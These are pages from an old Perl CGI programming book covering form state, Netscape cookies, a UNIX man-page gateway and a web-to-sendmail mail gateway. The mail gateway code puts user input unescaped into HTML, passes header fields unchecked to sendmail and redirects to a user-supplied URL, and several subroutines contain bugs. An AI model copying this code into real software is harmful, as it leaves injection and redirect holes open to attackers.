The data file is opened in append mode. There is no need to lock the file, because every user has a unique filename. If the form number indicates that it is the initial form, a header is output.

    foreach $key (sort (keys %STATE)) {

Let's look at this construct from the innermost parentheses. The keys command returns an array consisting of all the keys of the associative array. The sort function then sorts that array. And foreach iterates through this array, storing each element in key.

Information in an associative array is not stored in any order, because it is based on a string index. As a result, the keys command returns the information in a random order. Prefixing numerical values to the form field names allows us to sort the information returned by the keys command.

        if ($key !~ /^cgi_/) {

If the key name begins with "cgi_", it is omitted. Internally used variables are prefixed with "cgi_" to keep them separate from real form data.

            ($temp_key = $key) =~ s/^\d+\s//;

This regular expression is used to remove the numerical value from the key. The modified key is stored in temp_key. The field names in the form were in the format:

"01 Variable Name"

We use the regular expression to search for a string that starts with a numeric value followed by a space.

            print FILE $temp_key, ": ", $STATE{$key}, "\n";
        }
    }
    close (FILE);
}

The new key, along with the form value, is displayed. If the form contained a scrolling list that allowed the user to make multiple selections, then all of the values are stored in one string, separated by the null character, "\0". This subroutine does not perform any formatting on such a string. However, the next ordering system example shows how to split and display these values separately.

Note that the associative array is still indexed by the "old" key. The new key was defined just for output purposes. Finally, the file is closed.

The survey_over subroutine thanks the user and prints his or her responses.

sub survey_over
{
    local ($file) = $survey_dir . $cookie;
    open (FILE, "<" . $file) ||
                &return_error (500, "CGI Network Survey Error",
                                 "Cannot read the survey data file [$file].");
    print <<Thanks;
Content-type: text/html
<HTML>
<HEAD><TITLE>Thank You!</TITLE></HEAD>
<BODY>
<H1>Thank You!</H1>
Thank you again for filling out our survey. Here is the information
that you selected:
<HR>
<P>
Thanks
    while (<FILE>) {
        print $_, "<BR>";
    }
    print "<HR>";
    print "</BODY></HTML>", "\n";
    close (FILE);
    unlink ($file);
}

The file is opened in read mode, and the information contained in it is displayed to standard output. Finally, the unlink command deletes the file.

The escape subroutine encodes the data. The code is very similar to the program presented at the beginning of this book.

sub escape
{
    local ($string) = @_;
    $string =~ s/(\W)/sprintf("%%%x", ord($1))/eg;
    return($string);
}

Finally, the parse_form_data subroutine parses the form field name as well as the form data. That is the only difference between this version of the subroutine and the one presented in the earlier examples.

sub parse_form_data
{
    local (*FORM_DATA) = @_;

    local ($query_string, @key_value_pairs, $key_value, $key, $value);

    read (STDIN, $query_string, $ENV{'CONTENT_LENGTH'});
    if ($ENV{'QUERY_STRING'}) {
            $query_string = join("&", $query_string, $ENV{'QUERY_STRING'});
    }
    @key_value_pairs = split (/&/, $query_string);
    foreach $key_value (@key_value_pairs) {
        ($key, $value) = split (/=/, $key_value);
        $key   =~ tr/+/ /;
        $value =~ tr/+/ /;

        $key   =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
        $value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
        if (defined($FORM_DATA{$key})) {
            $FORM_DATA{$key} = join ("\0", $FORM_DATA{$key}, $value);
        } else {
            $FORM_DATA{$key} = $value;
        }
    }
}

There are other ways to accomplish an ordering or "shopping cart" system like the one illustrated above. However, this is one of the best ways. The only drawback to this approach involves the temporary files that are created.

If a user decides to exit midway through the survey, the temporary file will not be deleted, because there is no way to determine when the user leaves. The only solution to this problem is to manually delete files based on modification times. See Chapter 9, Gateways, Databases, and Search/Index Utilities, for an ordering system that works by communicating with another network server, specially designed to store and distribute information.

CSI Statements and Hidden Fields

The hidden field technique we described earlier allows us to modify the ordering system presented earlier in two ways. The first is to replace the query information in the ACTION attribute of the <FORM> tag with hidden fields. Let's look at the starting form again:

<HTML>
<HEAD><TITLE>Television/Movie Survey</TITLE></HEAD>
<BODY>
<H1>Welcome to the CGI Network!</H1>
<HR>
In order to better serve you, we would like to know what type of
movies and variety shows you like to watch on TV. Over the last couple
of years, you, the viewers, were directly responsible for the lasting
success of many of our shows. Your comments are extremely valuable to
us, so please take a few moments to fill out a survey.
<P>
The current time is: <!--#insert var="DATE_TIME"--><BR>

If we want the current time to be displayed in the form, we need to keep this statement.

<HR>
<FORM ACTION="/cgi-bin/survey.pl?cgi_cookie=<!--#insert var="COOKIE"-->&cgi_form_num=" METHOD="POST">

This can be modified to:

<FORM ACTION="/cgi-bin/survey.pl" METHOD="POST">
<INPUT TYPE="hidden" NAME="cgi_cookie" VALUE="<!--#insert var="COOKIE"-->"
<INPUT TYPE="hidden" NAME="cgi_form_num" VALUE="<!--#insert var="NUMBER"-->"

The program described above will replace the CSI statements with appropriate information.

<PRE>
Full Name: <INPUT TYPE="text" NAME="01 Full Name" SIZE=40>
E-Mail:    <INPUT TYPE="text" NAME="02 EMail Address" SIZE=40>
</PRE>
<P>
Which survey would you like to fill out: <BR>
<INPUT TYPE="radio" NAME="cgi_survey" VALUE="Television" CHECKED>Television<BR>
<INPUT TYPE="radio" NAME="cgi_survey" VALUE="Movie">Movies<BR>
<P>
<INPUT TYPE="submit" VALUE="Submit the survey">
<INPUT TYPE="reset"  VALUE="Clear all fields">
</FORM>
<HR>
</BODY></HTML>

There is really no advantage to using this technique over the original one, as the two are nearly identical. If you use this method, you can remove the following line from the parse_form_data subroutine:

    if ($ENV{'QUERY_STRING'}) {
            $query_string = join("&", $query_string, $ENV{'QUERY_STRING'});
    }

There is no need to store any query information.

Previous | Home | Next
Hidden Fields | Book Index | Netscape Persistent Cookies
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.3 Netscape Persistent Cookies

CGI Programming on the World Wide Web

Previous Chapter 8
Multiple Form Interaction 		Next

8.3 Netscape Persistent Cookies

A third way of maintaining state is to use Netscape persistent cookies. One of the features of the Netscape Navigator browser is the capability to store information on the client side. It does this by accepting a new Set-Cookie header from CGI programs, and passing that information back using a HTTP_COOKIE environment variable. We won't show a complete example, but we'll illustrate briefly.

A program that stores the information on the client side might begin as follows:

#!/usr/local/bin/perl
($key, $value) = split(/=/, $ENV{'QUERY_STRING'});
print "Content-type: text/html", "\n";
print "Set-Cookie: $key=$value; expires=Sat, 26-Aug-95 15:45:30 GMT; path=/; domain=bu.edu", "\n\n";

The cookie header requires the key/value information to be encoded.

.
.
.
exit (0);

The Set-Cookie header sets one cookie on the client side, where a key is equal to a value. The expires attribute allows you to set an expiration date for the cookie. The path attribute specifies the subset of URLs that the cookie is valid for. In this case, the cookie is valid and can be retrieved by any program served from the document root hierarchy. Finally, the domain attribute sets the domain for which the cookie is valid. For example, say a cookie labeled "Parts" is set with a domain attribute of "bu.edu". If the user accesses a URL in another domain that tries to retrieve the cookie "Parts," it will be unable to do so. You can also use the attribute secure to instruct the browser to send a cookie only on a secure channel (e.g., Netscape's HTTPS server). All of these attributes are optional.

Now, how does a program access the stored cookies? When a certain document is accessed by the user, the browser will send the cookie information--provided that it is valid to do so--as the environment variable HTTP_COOKIE. For example, if the user requests a document for which the cookie is valid before the cookie expiration date, the following information might be stored in HTTP_COOKIE:

Full%20Name=Shishir%20Gundavaram; Specification=CGI%20Book

Cookies are separated from the next by the " ; " delimiter. To decode this information and place it into an associative array, we can use the following subroutine:

sub parse_client_cookies
{
    local (*COOKIE_DATA) = @_;

    local (@key_value_pairs, $key_value, $key, $value);
    @key_value_pairs = split (/;\s/, $ENV{'HTTP_COOKIE'});
    foreach $key_value (@key_value_pairs) {
        ($key, $value) = split (/=/, $key_value);
        $key   =~ tr/+/ /;
        $value =~ tr/+/ /;
        $key   =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
        $value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
        if (defined($FORM_DATA{$key})) {
            $FORM_DATA{$key} = join ("\0", $FORM_DATA{$key}, $value);
        } else {
            $FORM_DATA{$key} = $value;
        }
    }
}

This subroutine is very similar to the one we have been using to decode form information. You can set more than one cookie at a time, for example:

print "Set-Cookie: Computer=SUN; path=/", "\n";
print "Set-Cookie: Computer=AIX; path=/images", "\n";

Now, if the user requests the URL in the path /images, HTTP_COOKIE will contain:

Computer=SUN; Computer=AIX

There are a couple of disadvantages with this client-side approach to storing information. First, the technique only works for Netscape Navigator browsers. Second, there are restrictions placed on the cookie size and number of cookies. The information contained in each cookie cannot exceed 4KB, and only 20 cookies are allowed per domain. A total of 300 cookies can be stored by each user.

Previous | Home | Next
CGI Side Includes | Book Index | Gateways, Databases, and Search/Index Utilities
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 9] Gateways, Databases, and Search/Index Utilities

CGI Programming on the World Wide Web

Previous Chapter 9 Next

9. Gateways, Databases, and Search/Index Utilities

Contents:
UNIX Manual Page Gateway
Mail Gateway
Relational Databases
Search/Index Gateway

Imagine a situation where you have an enormous amount of data stored in a format that is foreign to a typical web browser. And you need to find a way to present this information on the Web, as well as allowing potential users to search through the information. How would you accomplish such a task?

Many information providers on the Web find themselves in situations like this. Such a problem can be solved by writing a CGI program that acts as a gateway between the data and the Web. A simple gateway program was presented in Chapter 7, Advanced Form Applications. The pie graph program can read the ice cream data file and produce a graph illustrating the information contained within it. In this chapter, we will discuss gateways to UNIX programs, relational databases, and search engines.

9.1 UNIX Manual Page Gateway

Manual pages on a UNIX operating system provide documentation on the various software and utilities installed on the system. In this section, I will write a gateway that reads the requested manual page, converts it to HTML, and displays it (see Figure 9.1). We will let the standard utility for formatting manual pages, nroff, do most of the work. But this example is useful for showing what a little HTML can do to spruce up a document. The key technique you need is to examine the input expected by a program and the output that it generates, so that you can communicate with it.

Figure 9.1: Converting manual page to HTML

[Graphic: Figure 9-1]

Here is the form that is presented to the user:

<HTML>
<HEAD><TITLE>UNIX Manual Page Gateway</TITLE></HEAD>
<BODY>
<H1>UNIX Manual Page Gateway</H1>
<HR>
<FORM ACTION="/cgi-bin/manpage.pl" METHOD="POST">
<EM>What manual page would you like to see?</EM>
<BR>
<INPUT TYPE="text" NAME="manpage" SIZE=40>
<P>
<EM>What section is that manual page located in?</EM>
<BR>
<SELECT NAME="section" SIZE=1>
<OPTION SELECTED>1
<OPTION>2
<OPTION>3
<OPTION>4
<OPTION>5
<OPTION>6
<OPTION>7
<OPTION>8
<OPTION>Don't Know
</SELECT>
<P>
<INPUT TYPE="submit" VALUE="Submit the form">
<INPUT TYPE="reset"  VALUE="Clear all fields">
</FORM>
<HR>
</BODY></HTML>

This form will be rendered as shown in Figure 9.2.

Figure 9.2: UNIX manual page form

[Graphic: Figure 9-2]

On nearly all UNIX systems, manual pages are divided into eight or more sections (or subdirectories), located under one main directory--usually /usr/local/man or /usr/man. This form asks the user to provide the section number for the desired manual page.

The CGI program follows. The main program is devoted entirely to finding the right section, and the particular manual page. A subroutine invokes nroff on the page to handle the internal nroff codes that all manual pages are formatted in, then converts the nroff output to HTML.

#!/usr/local/bin/perl
$webmaster = "Shishir Gundavaram (shishir\@bu\.edu)";
$script = $ENV{'SCRIPT_NAME'};
$man_path = "/usr/local/man";
$nroff = "/usr/bin/nroff -man";

The program assumes that the manual pages are stored in the /usr/local/man directory. The nroff utility formats the manual page according to the directives found within the document. A typical unformatted manual page looks like this:

.TH EMACS 1 "1994 April 19"
.UC 4
.SH NAME
emacs \- GNU project Emacs
.SH SYNOPSIS
.B emacs
[
.I command-line switches
] [
.I files ...
]
.br
.SH DESCRIPTION
.I GNU Emacs
is a version of
.I Emacs,
written by the author of the original (PDP-10)
.I Emacs,
Richard Stallman.
.br
.
.
.

Once it is formatted by nroff, it looks like this:

EMACS(1)                 USER COMMANDS                   EMACS(1)
NAME
     emacs - GNU project Emacs
SYNOPSIS
     emacs [ command-line switches ] [ files ... ]
DESCRIPTION
     GNU Emacs is a version of Emacs, written by  the  author  of
     the original (PDP-10) Emacs, Richard Stallman.
.
.
.
Sun Release 4.1    Last change: 1994 April 19                   1

Now, let's continue with the program to see how this information can be further formatted for display on a web browser.

$last_line = "Last change:";

The $last_line variable contains the text that is found on the last line of each page in a manual. This variable is used to remove that line when formatting for the Web.

&parse_form_data (*FORM);
($manpage = $FORM{'manpage'}) =~ s/^\s*(.*)\b\s*$/$1/;
$section = $FORM{'section'};

The data in the form is parsed and stored. The parse_form_data subroutine is the one used initially in the last chapter. Leading and trailing spaces are removed from the information in the manpage field. The reason for doing this is so that the specified page can be found.

if ( (!$manpage) || ($manpage !~ /^[\w\+\-]+$/) ) {
    &return_error (500, "UNIX Manual Page Gateway Error",
                        "Invalid manual page specification.");

This block is very important! If a manual page was not specified, or if the information contains characters other than (A-Z, a-z, 0-9, _, +, -), an error message is returned. As discussed in Chapter 7, Advanced Form Applications, it is always important to check for shell metacharacters for security reasons.

} else {
    if ($section !~ /^\d+$/) {
        $section = &find_section ();
    } else {
        $section = &check_section ();
    }

If the section field consists of a number, the check_section subroutine is called to check the specified section for the particular manual page. If non-numerical information was passed, such as "Don't Know," the find_section subroutine iterates through all of the sections to determine the appropriate one. In the regular expression, "\d" stands for digit, "+" allows for one or more of them, and the "^" and "$" ensure that nothing but digits are in the string. To simplify this part of the search, we do not allow the "nonstandard" subsections some systems offer, such as 2v or 3m.

Both of these search subroutines return values upon termination. These return values are used by the code below to make sure that there are no errors.

    if ( ($section >= 1) && ($section <= 8) ) {
        &display_manpage ();
    } else {
        &return_error (500, "UNIX Manual Page Gateway Error",
                            "Could not find the requested document.");
    }
}
exit (0);

The find_section and check_section subroutines called above return a value of zero (0) if the specified manual page does not exist. This return value is stored in the section variable. If the information contained in section is in the range of 1 through 8, the display_manpage subroutine is called to display the manual page. Otherwise, an error is returned.

The find_section subroutine searches for a particular manual page in all the sections (from 1 through 8).

sub find_section
{
    local ($temp_section, $loop, $temp_dir, $temp_file);
    $temp_section = 0;
    for ($loop=1; $loop <= 8; $loop++) {
        $temp_dir  = join("", $man_path, "/man", $loop);
        $temp_file = join("", $temp_dir, "/", $manpage, ".", $loop);

find_section searches in the subdirectories called "man1," "man2," "man3," etc. And each manual page in the subdirectory is suffixed with the section number, such as "zmore.1," and "emacs.1." Thus, the first pass through the loop might join "/usr/local/man" with "man1" and "zmore.1" to make "/usr/local/man/ man1/zmore.1", which is stored in the $temp_file variable.

        if (-e $temp_file) {
            $temp_section = $loop;
        }
    }

The -e switch returns TRUE if the file exists. If the manual page is found, the temp_section variable contains the section number.

    return ($temp_section);
}

The subroutine returns the value stored in $temp_section. If the specified manual page is not found, it returns zero.

The check_section subroutine checks the specified section for the particular manual page. If it exists, the section number passed to the subroutine is returned. Otherwise, the subroutine returns zero to indicate failure. Remember that you may have to modify this program to reflect the directories and filenames of manual pages on your system.

sub check_section
{
    local ($temp_section, $temp_file);
    $temp_section = 0;
    $temp_file    = join ("", $man_path, "/man", $section,
                              "/", $manpage, ".", $section);
    if (-e $temp_file) {
        $temp_section = $section;
    }
    return ($temp_section);
}

The heart of this gateway is the display_manpage subroutine. It does not try to interpret the nroff codes in the manual page. Manual page style is complex enough that our best bet is to invoke nroff, which has always been used to format the pages. But there are big differences between the output generated by nroff and what we want to see on a web browser. The nroff utility produces output suitable for an old-fashioned line printer, which produced bold and underlined text by backspacing and reprinting. nroff also puts a header at the top of each page and a footer at the bottom, which we have to remove. Finally, we can ignore a lot of the blank space generated by nroff, both at the beginning of each line and in between lines.

The display_manpage subroutine starts by running the page through nroff. Then, the subroutine performs a few substitutions to make the page look good on a web browser.

sub display_manpage
{
    local ($file, $blank, $heading);
    $file = join ("", $man_path, "/man", $section,
                      "/", $manpage, ".", $section);
    print "Content-type: text/html", "\n\n";
        print "<HTML>", "\n";
    print "<HEAD><TITLE>UNIX Manual Page Gateway</TITLE></HEAD>", "\n";
        print "<BODY>", "\n";
        print "<H1>UNIX Manual Page Gateway</H1>", "\n";
    print "<HR><PRE>";

The usual MIME header and HTML text are displayed.

    open (MANUAL, "$nroff $file |");

A pipe to the nroff program is opened for output. Whenever you open a pipe, it is critical to check that there are no shell metacharacters on the command line. Otherwise, a malicious user can execute commands on your machine! This is why we performed the check at the beginning of this program.

    $blank = 0;

The blank variable keeps track of the number of consecutive empty lines in the document. If there is more than one consecutive blank line, it is ignored.

    while (<MANUAL>) {
        next if ( (/^$manpage\(\w+\)/i) || (/\b$last_line/o) );

The while loop iterates through each line in the manual page. The next construct ignores the first and last lines of each page. For example, the first and last lines of each page of the emacs manual page look like this:

EMACS(1)                 USER COMMANDS                   EMACS(1)
.
.
.
Sun Release 4.1    Last change: 1994 April 19                   1

This is unnecessary information, and therefore we skip over it. The if statement checks for a string that does not contain any spaces. The previous while statement stores the current line in Perl's default variable, $_. A regular expression without a corresponding variable name matches against the value stored in $_.

        if (/^([A-Z0-9_ ]+)$/) {
            $heading = $1;
            print "<H2>", $heading, "</H2>", "\n";

All manual pages consist of distinct headings such as "NAME," "SYNOPSIS," "DESCRIPTION," and "SEE ALSO," which are displayed as all capital letters. This conditional checks for such headings, stores them in the variable heading, and displays them as HTML level 2 headers. The heading is stored to be used later on.

        } elsif (/^\s*$/) {
            $blank++;
            if ($blank < 2) {
                print;
            }

If the line consists entirely of whitespace, the subroutine increments the $blank variable. If the value of that variable is greater than two, the line is ignored. In other words, consecutive blank lines are ignored.

        } else {

            $blank = 0;
            s//&amp;/g       if (/&/);
            s//&lt;/g        if (/</);
            s//&gt;/g        if (/>/);

The blank variable is initialized to zero, since this block is executed only if the line contains non-whitespace characters. The regular expressions replace the "&", "<", and ">" characters with their HTML equivalents, since these characters have a special meaning to the browser.

            if (/((_\010\S)+)/) {
                s//<B>$1<\/B>/g;
                s/_\010//g;
            }

All manual pages have text strings that are underlined for emphasis. The nroff utility creates an underlined effect by using the "_" and the "^H" (Control-H or \010) characters. Here is how the word "options" would be underlined:

_^Ho_^Hp_^Ht_^Hi_^Ho_^Hn_^Hs

The regular expression in the if statement searches for an underlined word and stores it in $1, as illustrated below.

[Graphic: Figure from the text]

This first substitution statement adds the <B> .. </B> tags to the string:

<B>_^Ho_^Hp_^Ht_^Hi_^Ho_^Hn_^Hs</B>

Finally, the "_^H" characters are removed to create:

<B>options</B>

Let's modify the file in one more way before we start to display the information:

            if ($heading =~ /ALSO/) {
                if (/([\w\+\-]+)\((\w+)\)/) {
                s//<A HREF="$script\?manpage=$1&section=$2">$1($2)<\/A>/g;
                }
            }

Most manual pages contain a "SEE ALSO" heading under which related software applications are listed. Here is an example:

SEE ALSO
     X(1), xlsfonts(1), xterm(1), xrdb(1)

The regular expression stores the command name in $1 and the manpage section number in $2, as seen below. Using this regular expression, we add a hypertext link to this program for each one of the listed applications. The query string contains the manual page title, as well as the section number.

[Graphic: Figure from the text]

The program continues as follows:

            print;
        }
    }
    print "</PRE><HR>", "\n";
        print "</BODY></HTML>", "\n";

    close (MANUAL);
}

Finally, the modified line is displayed. After all the lines in the file--or pipe--are read, it is closed. Figure 9.3 shows the output produced by this application.

Figure 9.3: Manual page gateway

[Graphic: Figure 9-3]

This particular gateway program concerned itself mostly with the output of the program it invoked (nroff). You will see in this chapter that you often have to expend equal effort (or even more effort) fashioning input in the way the existing program expects it. Those are the general tasks of gateways.

Previous | Home | Next
Netscape Persistent Cookies | Book Index | Mail Gateway
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 9] 9.2 Mail Gateway

CGI Programming on the World Wide Web

Previous Chapter 9
Gateways, Databases, and Search/Index Utilities 		Next

9.2 Mail Gateway

Ever wish you could send electronic mail from your web browser? This gateway allows you to do just that.

#!/usr/local/bin/perl
$webmaster = "shishir\@bu\.edu";
$gateway = "CGI Mail Gateway [v1.0]";
$request_method = $ENV{'REQUEST_METHOD'};
$sendmail = "/usr/lib/sendmail -t -n -oi";

This program uses the UNIX sendmail utility to actually send the message. The -t option instructs sendmail to scan the message for the "To:" mail header, and the n option prevents the user from entering aliases for the recipient's email address; you would not want some remote user to use your system's internal aliases, would you?

$address_file = "/home/shishir/httpd_1.4.2/cgi-bin/address.dat";

The address file consists of a list of recipients' mail addresses from which the user is required to select one. The user cannot enter an address that is not included in the address file. The address.dat file should be formatted as follows:

Webmaster,webmaster@bu.edu
Author,shishir@bu.edu
.
.
.

I have chosen a comma to separate nicknames from addresses because Internet standards prohibit a comma from being used in an address.

When the mail form is displayed, the program inserts all of the descriptive names in a scrolled list. If you do not want to have such a file, remove or comment out the line defining $address_file.

$exclusive_lock = 2;
$unlock = 8;
if ( defined ($address_file) && (-e $address_file) ) {
    &load_address (*address);
}

If the address_file variable is defined and the file exists, the load_address subroutine is called to load the list of addresses into the address associative array (for easy retrieval).

&parse_form_data (*MAIL);

The form information is stored in the MAIL associative array. The parse_form_data subroutine is the same as the one used at the beginning of Chapter 7, Advanced Form Applications. Like the guestbook application I presented in Chapter 7, Advanced Form Applications, this program is two in one: Half of the program displays a form, and the other half retrieves the data after the user submits the form, and sends the mail.

if ($request_method eq "GET") {
    &display_form ();

If the GET method was used to access this program, the display_form subroutine displays the form. This gateway can be accessed without any query information:

http://your.machine/cgi-bin/mail.pl

in which case, a mail form is displayed. Or, you can also access it by passing query information:

http://your.machine/cgi-bin/mail.pl?to=shishir@bu.edu&url=/thanks.html

In this case, the "to" and "url" fields in the form will contain the information passed to it. If an address file is being used, the address specified by the "to" field has to match one of the addresses in the list. Instead of specifying the full email address, you can also use the descriptive title from the address file:

http://your.machine/cgi-bin/mail.pl?to=Author&url=/thanks.html

The advantage of passing queries like this is that you can create links within a document, such as:

.
.
If you want to contact me, click <A HREF="/cgibin/mail.pl?to=Author">here.</A>
.
.

All of the fields in the form, including "to" and "url," will be explained later in this section.

} elsif ($request_method eq "POST") {

    if ( defined (%address) ) {
        $check_status = &check_to_address ();
        if (!$check_status) {
            &return_error (500, "$gateway Error",
                "The address you specified is not allowed.");
        }
    }

This block will be executed if the POST method was used to access this gateway (which means that the user filled out the form and submitted it). If the address associative array is defined, the check_to_address subroutine is called to check for the validity of the user-specified address. In other words, the address has to be listed in the address file. This subroutine returns a TRUE or FALSE value. If the address is not valid, an error message is returned.

    if ( (!$MAIL{'from'}) || (!$MAIL{'email'}) ) {
        &return_error (500, "$gateway Error", "Who are you ?");
    } else {
        &send_mail ();
        &return_thanks ();
    }

If the user failed to enter any information into the "from" and "email" fields in the form, an error message is returned (which I will show later). Otherwise, the mail message is sent, and a thank-you note is returned.

} else {
    &return_error (500, "Server Error",
                    "Server uses unsupported method");
}
exit(0);

Now for the load_address subroutine, which reads your address file:

sub load_address
{
    local (*ADDRESS_DATA) = @_;
    local ($name, $address);
    open (FILE, $address_file) || &return_error (500, "$gateway Error",
            "Cannot open the address file [$address_file].");

    flock (FILE, $exclusive_lock);

This subroutine opens the address file, and loads all of the entries into an associative array. Note that $exclusive_lock and $unlock are global variables.

    while (<FILE>) {
        chop if (/\n$/);
        ($name, $address) = split (/,/, $_, 2);
        $ADDRESS_DATA{$name} = $address;
    }

The while loop iterates through the file one line at a time. If a line ends with a newline character, it is removed with the chop function. The chop function removes the last character of the line. The if clause is there as a precaution, because the last line of the file may not have a newline character, in which case part of the data would be lost. The split command, which should be familiar by now, separates the name from the address. Then, an entry in the associative array is created to hold the address.

    flock (FILE, $unlock);
    close (FILE);
}

The display_form subroutine is executed when the client invokes the program without a query.

sub display_form
{
    local ($address_to);
    print "Content-type: text/html", "\n\n";

    $address_to = &determine_to_field ();

The determine_to_field subroutine creates a scrolled list if the address file is defined. See Figure 9.4 for a snapshot of what this looks like. Otherwise, a simple text field is used. The HTML needed to accomplish these functions is returned by the subroutine, and is stored in the address_to variable.

Figure 9.4: Scrolled-down list of addresses

[Graphic: Figure 9-4]

    print <<End_of_Mail_Form;
<HTML>
<HEAD><TITLE>A WWW Gateway to Mail</TITLE></HEAD>
<BODY>
<H1>$gateway</H1>
This form can be used to send mail through the World Wide Web.
Please fill out all the necessary information.
<HR>
<FORM METHOD="POST">
<PRE>
Full Name:  <INPUT TYPE="text" NAME="from" VALUE="$MAIL{'from'}" SIZE=40>
E-Mail:     <INPUT TYPE="text" NAME="email" VALUE="$MAIL{'email'}" SIZE=40>
To:         $address_to
CC:         <INPUT TYPE="text" NAME="cc" VALUE="$MAIL{'cc'}" SIZE=40>
Subject:    <INPUT TYPE="text" NAME="subject" VALUE="$MAIL{'subject'}" SIZE=40>
<HR>

Notice the use of the VALUE attributes in the INPUT statements. These values represent the query information that is passed to this program with a GET request.

Please type the message below:
<TEXTAREA ROWS=10 COLS=60 NAME="message"></TEXTAREA>
</PRE>
<INPUT TYPE="hidden" NAME="url" VALUE="$MAIL{'url'}">
<INPUT TYPE="submit" VALUE="Send the Message">
<INPUT TYPE="reset"  VALUE="Clear the Message">
</FORM>
<HR>
</BODY></HTML>
End_of_Mail_Form
}

The "url" field is defined as a hidden field. This consists of the URL of the document that is displayed after the user completes the form.

The determine_to_field subroutine either creates a scrolled list of all the addresses in the file, or a simple text field in which the user can enter the recipient's address.

sub determine_to_field
{
    local ($to_field, $key, $selected);
    if (%address) {
        $to_field = '<SELECT NAME="to">';
        foreach $key (keys %address) {

The keys function returns a normal array consisting of all of the keys of the associative array. The foreach construct then iterates through each key.

            if ( ($MAIL{'to'} eq $key) ||
                 ($MAIL{'to'} eq $address{$key}) ) {

                $selected = "<OPTION SELECTED>";
            } else {
                $selected = "<OPTION>";
            }

If the recipient specified by the user (through a query string) matches either the descriptive title in the address file-- the key--or the actual address, it is highlighted. Remember, this is how you can access this program with a query:

http://your.machine/cgi-bin/mail.pl?to=shishir@bu.edu&url=/thanks.html

Now, the rest of the subroutine:

            $to_field = join ("\n", $to_field,
                        $selected, $key);
        }
        $to_field = join ("\n", $to_field, "</SELECT>");

Finally, all of the <OPTION> tags are concatenated to create the kind of scrolled list shown above.

    } else {
        $to_field =
        qq/<INPUT TYPE="text" NAME="to" VALUE="$MAIL{'to'}" SIZE=40>/;
    }
    return ($to_field);
}

If an address file is not used, a simple text field is displayed. The qq/../ construct builds a double-quoted string. It should be used when there are many double quotation marks within the string. The same string can be expressed inside the traditional double quotes:

$to_field = "<INPUT TYPE=\"text\" NAME=\"to\" VALUE=\"$MAIL{'to'}\" SIZE=40>";

As you can see, all of the other double quotation marks within the string have to be escaped by putting backslashes in front of them. Using the qq notation in the regular expression is much easier.

Finally, the HTML needed to display the "to" field is returned.

The check_to_address subroutine checks the user-specified recipient to make sure that it is valid. If it is valid, the variable $MAIL{'to'} will be set to the corresponding email address. Finally, a status indicating success or failure is returned.

sub check_to_address
{
    local ($status, $key);
    $status = 0;
    foreach $key (keys %address) {
         if ( ($MAIL{'to'} eq $key) || ($MAIL{'to'} eq $address{$key}) ) {
            $status = 1;
            $MAIL{'to'} = $address{$key};
         }
    }
    return ($status);
}

In this next subroutine, the mail is sent using the UNIX sendmail utility.

sub send_mail
{
    open (SENDMAIL, "| $sendmail");

A pipe to the sendmail utility is opened for input. We do not need to check any of the form values for shell metacharacters because none of the values are "exposed" on the command line. The sendmail utility allows you to place the recipient's name in the input stream, rather than on the command-line.

If the regular mail utility is used, the form information must be checked for metacharacters. This is how we can send mail with the mail utility:

if ($MAIL{'to'} =~ /([\w\-\+]+)@([\w\-\+\.]+)/) {
    open (SENDMAIL, "/usr/ucb/mail $MAIL{'to'} |");
} else {
    &return_error (500, "$gateway Error", "Address is not valid.");
}

The regular expression is described by the figure below. Of course, this allows only Internet-style mail addresses; UUCP addresses are not recognized.

[Graphic: Figure from the text]

    print SENDMAIL <<Mail_Headers;
From: $MAIL{'from'} <$MAIL{'email'}>
To: $MAIL{'to'}
Reply-To: $MAIL{'email'}
Subject: $MAIL{'subject'}
X-Mailer: $gateway
X-Remote-Host: $ENV{'REMOTE_ADDR'}
Mail_Headers

Various mail headers are output. Any headers starting with "X-" are user/program specified, and are usually ignored by mail readers. The remote IP address of the user (the environment variable REMOTE_ADDRESS) is output for possible security reasons. Imagine a situation where someone fills out a form with obnoxious information, and includes a "fake" address. This header will at least tell you where the message came from.

    if ($MAIL{'cc'}) {
        print SENDMAIL "Cc: ", $MAIL{'cc'}, "\n";
    }
    print SENDMAIL "\n", $MAIL{'message'}, "\n";
    close (MAIL);
}

If the user entered an address in the "Cc:" field, a mail header is output. Finally, the body of the message is displayed, and the pipe is closed.

It is courteous to output a thank-you message:

sub return_thanks
{
    if ($MAIL{'url'}) {
        print "Location: ", $MAIL{'url'}, "\n\n";
    } else {
        print "Content-type: text/html", "\n\n";
        print <<Thanks;
<HTML>
<HEAD><TITLE>$gateway</TITLE></HEAD>
<BODY>
<H1>Thank You!</H1>
<HR>
Thanks for using the mail gateway. Please feel free to use it again.
</BODY></HTML>
Thanks
    }
}

If a URL was specified as part of the GET request, a server redirect is done with the "Location" HTTP header. In other words, the server will get and display the specified document after the user submits the form. Otherwise, a simple thank-you note is issued.

Previous | Home | Next
UNIX Manual Page Gateway | Book Index | Relational Databases
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 9] 9.3 Relational Databases

CGI Programming on the World Wide Web

Previous Chapter 9
Gateways, Databases, and Search/Index Utilities 		Next

9.3 Relational Databases

So far in this chapter, we have created pretty simple gateways by piping input to other programs. As long as we create the proper stream of data, it takes very little coding on our part to make these work. But the most interesting uses for gateways involve large, complex sets of data organized into structured databases. Piping a stream does not work for these; we need to use a language that the database understands, such as SQL. This is where we turn in this section.

By combining the power of relational database management systems (RDBMS) with the World Wide Web, one can produce impressive results. Put yourself in the shoes of a doctor who wants to establish an "interactive, virtual infirmary" on the Web, where users (patients) can simply enter their symptoms, and the CGI would return with a diagnosis. The doctor has a large database that contains extensive data, including three-dimensional graphics and multimedia, on the various diseases and ailments that affect humans. All that needs to be done is to write a CGI program that decodes the input, assembles a query of some sort, sends it to the database, processes the return data from the database, and creates a hypertext document (with embedded multimedia) for the user. These types of applications are possible by combining databases with the Web.

Before we go any further, let's look at SQL, the query language used to communicate with various RDBMS systems.

Introduction to SQL

